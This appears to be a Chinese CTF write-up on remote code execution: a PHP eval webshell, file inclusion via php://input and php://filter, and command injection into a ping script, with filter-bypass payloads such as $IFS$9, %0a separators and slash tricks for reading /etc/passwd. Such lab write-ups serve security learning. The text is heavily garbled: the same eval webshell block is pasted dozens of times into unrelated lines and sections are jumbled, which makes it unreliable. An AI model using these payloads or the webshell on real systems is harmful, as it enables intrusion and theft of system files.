引言
题目共有如下类型
什么是RCE漏洞
RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码
eval执行
分析源码:- <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?>
复制代码 执行命令查看当前目录
查看根目录或者上级目录一个一个查找- ?cmd=system("ls /");
- ?cmd=system("ls ../../../");
复制代码 发现flag文件
cat /flag_8751即可
文件包含
文件包含
源码审计- <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <hr>i have a shell, how to use it ? <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //提示有个shell.txt文件,内容为
复制代码 利用文件包含读取shell.txt
先了解一下$_REQUEST函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,$_REQUEST 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量
查看根目录
查找flag
php://input
源码分析- <?php
- if (isset($_GET['file'])) { //检查是否存在file参数
- if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
- include($_GET["file"]);
- } else {
- echo "Hacker!!!";
- }
- } else {
- highlight_file(__FILE__);
- }
- ?>
- // 给了应该phpinfo.php超链接
复制代码 查看phpinfo.php文件,发现此处
抓包构造命令执行,因为有php://input,故会执行传入的php代码
查看flag
这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可
或者:
读取源代码
源码审计- i don't have shell, how to get flag? flag in /flag <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //flag在根目录
复制代码 php伪协议读取flag- ?file=php://filter/read=/resource=/flag
复制代码
远程包含
源码审计- [/code]给了一个[b]phpinfo()[/b]界面,根据题目提示,还是文件包含题,抓包利用[b]php;//input[/b]读取
- 查看[b]根目录[/b]
- [align=center]
[/align] - 读取[b]flag[/b]
- [align=center]
[/align] - [size=5]命令注入[/size]
- [list]
- [*]这里需要了解一下常见的命令分隔符
- [*][b]; :[/b] 无论前面是否执行,后面都执行
- [*][b]||(逻辑或):[/b]前命令失败执行后命令,如果前命令成功则不执行后命令
- [*][b]| :[/b]前者结果作为后者参数使用
- [*][b]&& :[/b]前命令成功执行后命令,如果失败则不执行后命令
- [*][b]\n:[/b]换行符,url编码%0a
- [*][b]%0a[/b] <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> (换行)
- [*][b]%0d[/b] <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> (回车)
- [/list][size=4]无过滤[/size]
- 没有做任何过滤
- 先[b]ping[/b]一下
- [align=center]
[/align] - 查看[b]该目录[/b],使用 [b]127.0.0.1; ls[/b] 也是可以的
- [align=center]
[/align] - 查看[b]26398804916519.php[/b]
- [code]127.0.0.1 | cat 26398804916519.php
复制代码 发现flag
过滤cat
查看源码:- [/code]先查看当前目录,得到flag文件 <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> flag_11971489425983.php
- [align=center]
[/align] - 这里介绍几个绕过空格的方法
- [code]$IFS$9 <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> %09 <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> < <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> {cat,flag}
复制代码 可以绕过空格- $IFS$9 %09 <> < {cat,flag}
复制代码
过滤目录分隔符
几种常见的 / 符号绕过方法- 改变工作目录:cd xxx <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> 避免使用 / 符号环境变量截取: ${PATH:0:1} <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> ${HOME:0:1}编码绕过:8进制: $(printf "\57") <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> 16进制: $'\x2f' <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> $'\57'调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> cat <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> `echo /`etc`echo /`passwd通配符替代(部分路径已知):/???/cat /???/passwd <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //匹配 /bin/cat利用反斜杠:cat \/etc\/passwd协议替代:file_get_contents('glob:///*');
复制代码 提示:
源码- [/code]查看当前目录
- [align=center]
[/align] - 进入该目录并查看
- [align=center]
[/align] - 执行以下命令读取flag文件
- [code]<?php
- $res = FALSE;
- if (isset($_GET['ip']) && $_GET['ip']) {
- $ip = $_GET['ip'];
- $m = [];
- if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
- $cmd = "ping -c 4 {$ip}";
- exec($cmd, $res);
- } else {
- $res = $m;
- }
- }
- ?>
复制代码 得到flag
过滤运算符
查看源码,可以利用 ;绕过- [/code]查看当前目录
- [align=center]
[/align] - 执行以下命令
- [code]<?php
- $res = FALSE;
- if (isset($_GET['ip']) && $_GET['ip']) {
- $ip = $_GET['ip'];
- $m = [];
- if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
- $cmd = "ping -c 4 {$ip}";
- exec($cmd, $res);
- } else {
- $res = $m;
- }
- }
- ?>
复制代码 得到flag
综合过滤练习
源码审计- [/code]利用换行符[b]%0a绕过[/b]查看当前目录
- [align=center]
[/align] - 查看根目录,没有有用信息,flag应该存在[b]flag_is_here[/b]目录下
- [align=center]
[/align] - 执行以下命令
- [code]?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //flag被过滤,需要绕过
复制代码
查看该flag- ?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //绕过cat
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |